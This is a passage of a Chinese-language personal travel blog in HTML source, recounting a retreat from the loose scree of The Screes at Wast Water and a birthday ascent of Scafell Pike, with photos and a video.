&lt;p&gt;可完全稳定的石头并不好找，大多数都是只能稳住几秒的石头。只有一直换位置，才能不随着石头滑下去。等我终于找到一块超稳的大石头后，暂时松了口气坐下来歇会。对着下面的湖水和四周的石块，我感到不知所措。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230528_105320583-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230528_105320583-optim.jpg&quot;
	alt=&quot;从碎石滩高处向下看，湖面呈现深蓝色&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;决定回去以后，我边跪边趴地往回爬。我还把包里的防水夹克披在了身上。这个天气大家都是短袖短裤，但滑动的石块很难说都是钝的。还是能护住一点是一点吧。我前些天在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;B&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;站看鉴宝，专家说古人戴玉是为了让玉替自己挡灾。我把外套穿上，也是替自己挡灾，绝对比什么玉器都管用。&lt;&#x2F;p&gt;
&lt;p&gt;另外，我注意到爬回去时我的腿开始抖了。这不对啊，我昨天走三小时腿都不抖，今天撑死才走了一个半小时，怎么腿止不住地抖？&lt;&#x2F;p&gt;
&lt;p&gt;在离安全地带（裸露山体）还有最后几米时，我害怕在最后关头出现闪失，准备花一些时间放松心情再继续。况且腿实在抖个不停，胳膊也开始发颤了。我听说有人通过数质数放松，但我已经紧张到没法算质数筛了，所以我决定从一不间断地数到两百。在数数时，思绪在不断地乱飞。从岩石滩那边的想象，到搜救队找人的画面，以及我成功回旅馆后要写给大家的话……要命的是，屁股底下的石头还在动。总之，我的计数要么被胡思乱想打断，要么因为滑落的石头而必须停止。我没有看表，但我觉得我花了半小时才成功数到二百。&lt;&#x2F;p&gt;
&lt;p&gt;等我数完了，又来了一家乌克兰或者俄罗斯人：男的带着小孩准备过去，女的站在后面不想让他们过。过了几分钟，男人带着小孩往回走——别走啊！先别走，我赶紧把他们叫住让他们等等我，这样就算我出溜到湖里也有目击者报警。总之，我终于在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;12:40&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;回到了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;11:30&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;左右的出发点。&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;荒野之息》两作还是不够写实，我觉得可以做一个攀爬这种岩石滩的模拟器，保证让人玩得脑溢血。&lt;&#x2F;p&gt;
&lt;p&gt;往回走了一段，到了熟悉的好路上，坐下来准备吃饭。从地图上看，我退回了湖水的最西边，但向西看，看不到头；再向东看，更看不到头。这就是比例尺的力量么。我想起早上遇到的跑步红背心，他估计早就跑过湖的最东头，到营地了吧。&lt;&#x2F;p&gt;
&lt;p&gt;在我吃午饭时又路过四个人。看年纪也得四五十了。我等了许久，也没在岩石滩上找到他们。等我吃完三明治、巧克力棒开始啃苹果时，他们突然出现在岩石滩中间。掏出望远镜，发现他们身边的岩石和人差不多高——我记得自己当时找块手掌大小的岩石都费劲。&lt;&#x2F;p&gt;
&lt;p&gt;我刚吃完苹果，他们就越过山脊了，只留下零星岩石滑落的声音。看来还是路线问题，选对路线，就只需要一个苹果的工夫。写到这里时，又一对三四十岁的夫妇带着狗路过。不知道他们能否爬过去，我感到不甘心，但今天已无斗志了。给我一套爬珠峰的装备，我也不会再走第二次了。至少是今天不走第二次。&lt;&#x2F;p&gt;
&lt;p&gt;往回走时发现了一张在湖里的地图。估计是有人发现地图上的路已经没了，所以气愤地把地图扔了。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230528_115500250-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230528_115500250-optim.jpg&quot;
	alt=&quot;湖水浅滩里有一大张摊开的纸，推测是地图&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;div class=&quot;maybe-columns&quot;&gt;
&lt;p&gt;时间过得比我预想的要快。我出发时还在担心很快到了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Wasdale
Head&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;该玩什么。另外&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Fitbit&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;手环有设计缺陷——记录活动时不显示时间。我想用它记录我整天的行程，所以还得再戴一块专门看时间的表。不过那天回旅馆后从&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;YouTube&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上学到了把手表固定在背包带上的佩戴方法，第二天爬山舒服许多。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230528_123754362-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230528_123754362-optim.jpg&quot;
	alt=&quot;伸出左手看表，表上写着13:37，表的右边还戴着运动手环。手臂后方是虚化的湖面&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;等我走到了湖的对岸，才发现那石头滩有多长。还好当时我知难而退了，否则现在得去湖里找我。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230528_142603498-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230528_142603498-optim.jpg&quot;
	alt=&quot;从Wast Water北岸看南边的The Screes。岩石滩路段巨大无比&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;div class=&quot;columns&quot;&gt;
&lt;p&gt;碰上了六七个徒步的人。他们来自伦敦，为了庆祝队伍里黑背包男人的生日一起去爬&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Sca
Fell——我到这时才知道&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Sca
Fell&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Scafell
Pike&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是不同的地方，我还以为地图上印错了呢。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230602_173936379-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230602_173936379-optim.jpg&quot;
	alt=&quot;地图上的Sca Fell和Scafell Pike&quot;
	height=&quot;825&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;他们去&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Nether
Wasdale&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的营地，我去&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Nether
Wasdale&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的旅馆。正好同路，我就决定跟着他们走，省去看地图的麻烦。分别时我向黑背包祝贺生日，他们也提前对我送出生日祝福。希望明天是美好的一天。&lt;&#x2F;p&gt;
&lt;p&gt;回旅馆吃饭时发现我的桌子前正对着西&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Cumbria&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的立体地图。我盯着&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Wast
water&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;东北最高的山头看了半晌，脑子处在难以置信的真空状态。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230528_171510033-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230528_171510033-optim.jpg&quot;
	alt=&quot;餐厅里的立体地图，越黑代表海拔越高。Scafell Pike漆黑无比&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;周日可以做烤肉，其中有羊腿。作为羊肉爱好者，这地球上的猪牛灭绝了我不会感到惋惜，但若所有羊消失了那我当即宣布地球就是地狱。今天的景色，除了水多，碎石多，就是羊多了——要不是羊粪的味道伴我左右，我早馋了！所以当我读到羊腿那一行时，这菜单也不必读下去了。🤤&lt;&#x2F;p&gt;
&lt;p&gt;服务员看我从菜单上抬起头，就拿了笔纸过来听我点菜。然后我得知今天没有烤肉，心情瞬间跌入谷底。最后点了个牛肉派，来一杯自酿的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Red
Screes。希望今天干了这杯酒，明天再遇上&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Screes&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;也不会为难。说实话，今天的行程之所以失败，我想是吃了没文化的亏：Scree&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的意思就是松散地堆满碎石的山坡。我走的那片山就叫&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;The
Screes——&lt;strong&gt;THE&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;・松散地堆满碎石的山坡！&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230528_164551909-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230528_164551909-optim.jpg&quot;
	alt=&quot;牛肉派：沾满酱汁的牛肉块、一牙酥面饼、薯条和捣烂的豌豆&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;回房间后开始使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;YouTube&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;预习&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Scafell
Pike&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的登山路线，以及如何对抗碎石滩。首先要确保的，是我还有斗志：可以不登顶，但必须得见到山脚。另外，看完视频决定把护膝和登山杖加入购物清单，以及准备多练腿。&lt;&#x2F;p&gt;
&lt;p&gt;下楼预约明天的打包午餐。服务员说等她两秒，然后把手上的脏杯子扔到篮子里。拿新杯子接了杯水，对着墙神色凝重地喝了一口，顿住了几秒钟。最后转过身来冲我微笑，问我有什么可以帮忙的。我感觉她比我还累，真的。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;第三天&#x2F;Scafell_Pike&quot;&gt;第三天&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&#x2F;Scafell Pike&lt;&#x2F;h2&gt;
&lt;p&gt;仍然是两点、五点和六点左右醒来，是因为晚饭喝酒的缘故么？六点多有只羊悲伤地叫了好久。&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;羊”鸣三声泪沾裳，我流泪了——困的。&lt;&#x2F;p&gt;
&lt;p&gt;整条腿、胸和肩膀仍然能感觉到昨天的疲惫。虽然肌肉有些酸痛，但我的器官运转正常，尤其是消化器官。我感到畅快，希望爬山和它一样轻松。&lt;&#x2F;p&gt;
&lt;p&gt;吃饭时朋友送来了生日祝福，她和我一样觉得&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Scafell
Pike&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;不高。但昨天的碎石滩实在给我整怕了，所以早饭吃得很慢。回房间时感觉大腿的酸疼比下楼时更明显了，今天到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Scafell
Pike&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;山脚就算胜利。我前两天为了让身体适应长距离行走，特意每天走好远。现在看来貌似起了反作用，希望我的激素能帮帮我。&lt;&#x2F;p&gt;
&lt;p&gt;这趟旅途里碰上的人都觉得我能登顶。昨天还看到一队人从&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Nether
Wasdale&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;步行去爬&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Sca
Fell，就是他们觉得我没问题，才让我没放弃今天的计划。可是我确实有些累了，而且害怕再遇上滑动的石头（在昨天的视频里，看到山顶有类似的石头滩。频道主说还好这些石头有点像花岗岩，比较稳固。所以应该问题不大&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。回到房间后，把草稿先发给朋友。应该不用做到这一步，但还是以防万一，图个内心平静。&lt;&#x2F;p&gt;
&lt;p&gt;因为是周一，谷歌在工作日的闹钟响了，先给我来了段生日歌。一个人在旅馆里听语音助手唱生日歌，真是有够凄凉啊。外面的羊又在悲鸣了。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230602_174442549-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230602_174442549-optim.jpg&quot;
	alt=&quot;第三天的行程：从Nether Wasdale沿着Wast Water北岸的路走到Scafell Pike脚下的停车场，然后走北边的路线登上Scafell Pike顶端&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;8:30&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;左右出发，10:30&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;左右到达路线中点。期间喝了三次水，而且不是严格地半小时才喝。所以应该走了不到一个半小时。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230529_085427680-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230529_085427680-optim.jpg&quot;
	alt=&quot;树下的两只小羊&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230529_085852209-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230529_085852209-optim.jpg&quot;
	alt=&quot;镜子般的Wast Water倒映着蓝天&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;路上遇到的车很多，有人亮手掌向我致意，有人不。观察了下，和年龄无关。所有开敞篷车的都不致意。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230529_094625225-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230529_094625225-optim.jpg&quot;
	alt=&quot;小羊在马路中间注视着远方的Yewbarrow&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;11&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;点到停车场，吃了半个三明治和两条巧克力棒中难吃的那个。再涂一遍防晒霜，准备&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;12&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;点上山。&lt;&#x2F;p&gt;
&lt;p&gt;11:26：等不及了，上最后一次厕所，漱口，出发。没走多远，就看到有块指向&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;The
Screes&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的标牌上写着“不推荐&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;。为什么我昨天爬&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;The
Screes&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;遇到的路标没写“不推荐”啊！&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230529_103313550-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230529_103313550-optim.jpg&quot;
	alt=&quot;Scafell Pike山脚的路牌。指向The Screes的牌子上写着“不推荐”&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;12:05：我手指的位置（左图&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，就是上午指过来的地方（右图&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。走了几个小时的湖，此时已经变得很小了。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns c9-16&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230529_110502932-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230529_110502932-optim.jpg&quot;
	alt=&quot;在山上指向上午指向山上的地方&quot;
	height=&quot;1024&quot;
	width=&quot;771&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230529_092838547-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230529_092838547-optim.jpg&quot;
	alt=&quot;在湖边指向登山的走廊&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;12:15，在路边大石头上吹风。突然想起自己带了毛巾，顿时感觉自己智力超群，开始擦汗。有很多人热得把上衣都脱了，我为了登山特意买了纯羊毛的短袖，脱了不白买了。&lt;&#x2F;p&gt;
&lt;p&gt;我正擦汗呢，路过一位穿着&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Rab&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;短袖的大哥。这位大哥可不一般，三角形的卷发蓬松到比肩膀还宽。一个人，没背包，手里甚至没拿一瓶水，像走在自家客厅一样信步于山道之上。我看了一眼瞬间就惊了，问他怎么没带水以及要不要喝点水。他谢过之后指了指前方一个左右肩膀各背一包的半裸男，说自己的水在他身上。然后走了两步突然回头，两只手都比作枪状指着我：&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;你——有没有带水&lt;span class=&quot;halt&quot;&gt;？&lt;&#x2F;span&gt;”我当然带了！我没带怎么会问他要不要水。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;
&lt;p&gt;看到有下山的人抱了一块大石头做纪念，决定自己若是登顶也带一块下来——然后就忘了。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230529_111822229-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230529_111822229-optim.jpg&quot;
	alt=&quot;抱着石块让我拍照的小哥&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;走了可能半个小时，又碰到了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Rab&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;哥。他对他的朋友说就是我准备给他水，握手后说：&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;上帝保佑你，我们山顶上见&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;”&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230529_115025853-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230529_115025853-optim.jpg&quot;
	alt=&quot;爬山途中遇到的平衡石、远处Sca Fell遍布碎石的山体&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;div class=&quot;maybe-columns&quot;&gt;
&lt;p&gt;13:38：看到有人边下山边打电话，才发现这里有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;5G&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;信号（村里、路上和山脚都没有&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。路面在不久之前变成了白色的石头滩——不过比昨天的安全多了，因为坡不像昨天那么陡。从被切割成死星表面的大岩石看来，白色石头滩是人工做出来的，和昨天的不一样。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230529_124102082-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230529_124102082-optim.jpg&quot;
	alt=&quot;被切割过的山体与堆积在旁边的石块&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;等我终于登上目力所及最高的山头，发现原来山顶还在遥远的前方。好崩溃，但只能继续爬了。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230529_125803354-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230529_125803354-optim.jpg&quot;
	alt=&quot;山顶还在远方&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;朋友们！看到这里的有福了，我带大家一起登顶（视频大小&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;28.4MB&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;：&lt;&#x2F;p&gt;
&lt;video controls preload=&quot;metadata&quot; style=&quot;width:100%&quot;&gt;
    &lt;source src=&quot;&#x2F;assets&#x2F;PXL_20230529_130243923.TS-scaled.mp4&quot; type=&quot;video&#x2F;mp4&quot;&gt;
    你的浏览器不支持嵌入视频，但你可以&lt;a href=&quot;&#x2F;assets&#x2F;PXL_20230529_130243923.TS-scaled.mp4&quot;&gt;下载&lt;&#x2F;a&gt;下来看。
    视频内容：从脚下的碎石开始拍摄，然后走向山顶的石头柱。接着爬楼梯走上旁边的高台，转了一圈拍摄全景。0:45的山是Sca Fell，旁边的湖是Wast Water。0:50的山是Lingmell；0:52被人挡住的山是Broad Crag，人右边的山是Ill Crag；0:53远处的湖是Angle Tarn
&lt;&#x2F;video&gt;
&lt;p&gt;等我照完相，Rab&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;哥也上来了，合了个影。原来&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Rab&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;哥叫&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Nathan，而他的瘦高朋友叫&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Josh。他说我们下山可能还会相遇，不过后来就没再见到了。&lt;&#x2F;p&gt;
&lt;p&gt;旅行之前我在玩《王国之泪&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，发现自己很频繁地使用望远镜做标记。所以这次出行也为山顶准备了个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;8×21&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的小望远镜。照完像后我举起望远镜又转了一圈，并没有什么特殊的感受。其实我有些后悔在店里时没有试试那些昂贵的大家伙，现在很好奇它们的效果是啥样。&lt;&#x2F;p&gt;
&lt;p&gt;我随便找了块石头坐下，吃完薯片开始啃苹果。看了眼手机，从停车场到这花了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2:45。这时之前碰到的，打算爬完&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Scafell
Pike&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;再掂量掂量能不能挑战&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Three
Peaks
Challenge&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的俩年轻人过来了，说他们花了三个小时。看来要是上山还是一个人快。&lt;&#x2F;p&gt;
&lt;p&gt;说起加速上山：据说牵着狗上山会不由自主的加速，这次爬山也确实看见许多狗。不过下山后、第四天坐出租车时分别听不同的人说上山带狗很危险（山上有羊，狗要是冲过去会把人拽倒&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns c9-16&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230529_133644826-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230529_133644826-optim.jpg&quot;
	alt=&quot;山顶的石柱和远方的登山小径，以及更远的Lingmell&quot;
	height=&quot;1024&quot;
	width=&quot;771&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230529_133932398-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230529_133932398-optim.jpg&quot;
	alt=&quot;山顶上有许多游客在观景、照相&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;山顶很暖和，抓绒夹克白背了。风倒挺大，把我的防水夹克掏出来穿上挡挡风。结果就穿了十分钟，太阳从云里走了出来，我只好把夹克再脱掉。&lt;&#x2F;p&gt;
&lt;p&gt;刚开始下山时身后有人踩到了滑动的石头，叫了声“Fuck&lt;span class=&quot;halt&quot;&gt;！&lt;&#x2F;span&gt;”我回头一看，这不是我刚进山时碰到的小团体么。他们一共三个人：普通人、胖人和年轻人。最开始时胖人跟不上普通人和年轻人，下山时则变成了年轻人跟不上普通人和胖人。挺有趣的。&lt;&#x2F;p&gt;
&lt;p&gt;他们不知怎么办到的，在这么热的天，手里还提溜着一桶带冰芯的水。难道说他们中有一个人的背包是冰箱么？&lt;&#x2F;p&gt;
&lt;p&gt;走着走着突然从右边的山外飞来一架直升机。我以为是搜救队的飞机，就没有理会。结果没多久，又过去几架直升机，还有背上两个螺旋桨的大肚子直升机。&lt;&#x2F;p&gt;
&lt;p&gt;我当时就慌了——什么？我上山途中有什么战争打到这里了？赶紧往回跑向那个貌似什么都懂的老先生，问怎么回事。他正给自己的女伴讲这都是什么飞机、附近的空军基地呢。&lt;&#x2F;p&gt;





